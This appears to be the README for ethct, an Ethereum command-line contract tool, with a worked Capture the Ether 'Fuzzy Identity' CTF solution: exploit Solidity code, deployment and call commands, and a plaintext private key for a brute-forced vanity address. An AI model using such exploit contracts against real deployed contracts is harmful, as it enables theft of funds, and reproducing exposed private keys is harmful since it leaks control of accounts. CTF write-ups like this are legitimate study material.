Package: ethct
Ethct: Ethereum contract tool (command line)1. Now support:Contract compiliationContract deploymentContract function callsRetrieve infomation from chain2. InstallInstall solc on MacOS:brew tap ethereum/ethereum
brew install solidityFor Linux/Windows, please refer to theSolidity documentation.Install ethct:pip install ethct3. UsageConfig the tool first:ethct --config --privkey <PRIVKEY> --infurakey <INFURAKEY> --network <NETWORK>Compile a contract and save the output files:ethct --compile <CONTRACT_FILE> --saveDeploy a contract on ropsten testnet:ethct --deploy <CONTRACT_FILE> --network <NETWORK> --contract <CONTRACT_NAME> --args '<PARAMETER0> <PARAMETER1> ...' --value <VALUE_IN_ETHER>Call contract function:ethct --address <ADDRESS> --abi <ABI_FILE> --call '<FUNCTION_NAME> <PARAMETER0> <PARAMETER1> ...'If it's a payable function:ethct --address <ADDRESS> --abi <ABI_FILE> --call '<FUNCTION_NAME> <PARAMETER0> <PARAMETER1> ... value:<VALUE_IN_ETHER>'If the ABI file can be found in the current 'build' directory, just give the contract name:ethct --address <ADDRESS> --contract <CONTRACT_NAME> --call '<FUNCTION_NAME> <PARAMETER0> <PARAMETER1> ...'Send raw transaction:ethct --sendtx --to <ADDRESS> --value <VALUE_IN_ETHER> --data <DATA> --nonce <NONCE>Get contract storage:ethct --getstorage <ADDRESS> --position <INDEX>Get block:ethct --getblock <BLOCKNUM>/latest/earliest/pending/<BLOCKHASH>Get transaction:ethct --gettx <TXHASH>Get balance:ethct --getbalance <ADDRESS>Get nonce:ethct --getnonce <ADDRESS>ExampleHere is an example on how to use ethct, the contract is fromFuzzy Identity Challenge.Here is the challenge contract, your task is to setisCompletetotrue:pragmasolidity^0.4.21;interfaceIName{functionname()externalviewreturns(bytes32);}contractFuzzyIdentityChallenge{boolpublicisComplete;functionauthenticate()public{require(isSmarx(msg.sender));require(isBadCode(msg.sender));isComplete=true;}functionisSmarx(addressaddr)internalviewreturns(bool){returnIName(addr).name()==bytes32("smarx");}functionisBadCode(address_addr)internalpurereturns(bool){bytes20addr=bytes20(_addr);bytes20id=hex"000000000000000000000000000000000badc0de";bytes20mask=hex"000000000000000000000000000000000fffffff";for(uint256i=0;i<34;i++){if(addr&mask==id){returntrue;}mask<<=4;id<<=4;}returnfalse;}}The only way to setisCompletetotrueis call theauthenticatefunction, but with 2 restrictions:The caller has to implement theINameinterface, which means the caller has to be a contract.The address of the caller must containsbadc0de, we know that contract addresses are generated deterministically in Ethereum with the rightmost 160 bits of the keccak256 result of the sender address and nonce in RLP encoding. After a while of brute forcing, we can get a right private key and nonce.Code.Here is our exploit contract:pragmasolidity^0.4.21;import"./fuzzy_identity.sol";/*interface IName {function name() external view returns (string) {}}*/contractreturnSmarxisIName{functionname()publicviewreturns(bytes32){returnbytes32("smarx");}functionexploit(address_addr)public{FuzzyIdentityChallengec=FuzzyIdentityChallenge(_addr);c.authenticate();}}contractreturnAddress{functionkeccakHash(address_addr,uint8nonce)publicreturns(address){returnaddress(keccak256(0xd6,0x94,_addr,nonce));}}We now have a private keyca96819b848883b0694c8b284d55f1259849339e477e7d606f07ce0656fbe357and a nonce value6,  the associate address is0xe09FBEFc7FfE44FB5E825Edd797dE0160e1d7B3B, we need to use this account to deploy the exploit contract and call theexploitfuntion.First, configure ethct with one of your own private keys:ethct --config --privkey <YOUR_PRIVATE_KEY>Transfer some ether to0xe09FBEFc7FfE44FB5E825Edd797dE0160e1d7B3Bethct --sendtx --to 0xe09FBEFc7FfE44FB5E825Edd797dE0160e1d7B3B --value 0.1Now switch account:ethct --config --privkey ca96819b848883b0694c8b284d55f1259849339e477e7d606f07ce0656fbe357DeployreturnSmarxcontract:ethct --deploy ./fuzzy_identity_solver.sol --contract returnSmarxNote that the nonce should be6to generate the correct contract address, you can just deploy the contract 6 times, and you can check the nonce of the address use the following command:ethct --getnonce 0xe09FBEFc7FfE44FB5E825Edd797dE0160e1d7B3BNow we have successfully deployed thereturnSmarxcontract to address0x433F86192F11A521261BAdC0dec67bf812360442which containsbadc0de.Call theexploitfunction ofreturnSmarxcontract at0x433F86192F11A521261BAdC0dec67bf812360442:ethct --address 0x433F86192F11A521261BAdC0dec67bf812360442 --contract returnSmarx --call 'exploit 0xC56B60E8e91Dc1Bdf6231fb942cdbf5EAE74033C'Or you can do it like this:ethct --address 0x433F86192F11A521261BAdC0dec67bf812360442 --abi ./build/returnSmarx.abi --call 'exploit 0xC56B60E8e91Dc1Bdf6231fb942cdbf5EAE74033C'Now we can check ifisCompleteis set totruein the challenge contract at0xC56B60E8e91Dc1Bdf6231fb942cdbf5EAE74033C:ethct --getstorage 0xC56B60E8e91Dc1Bdf6231fb942cdbf5EAE74033C --position 0
# result: 0x0000000000000000000000000000000000000000000000000000000000000001And that's it, we just completed the Fuzzy Identity Challenge!4. Why build thisTo make my life easier completing theCaptureTheEtherchallenges.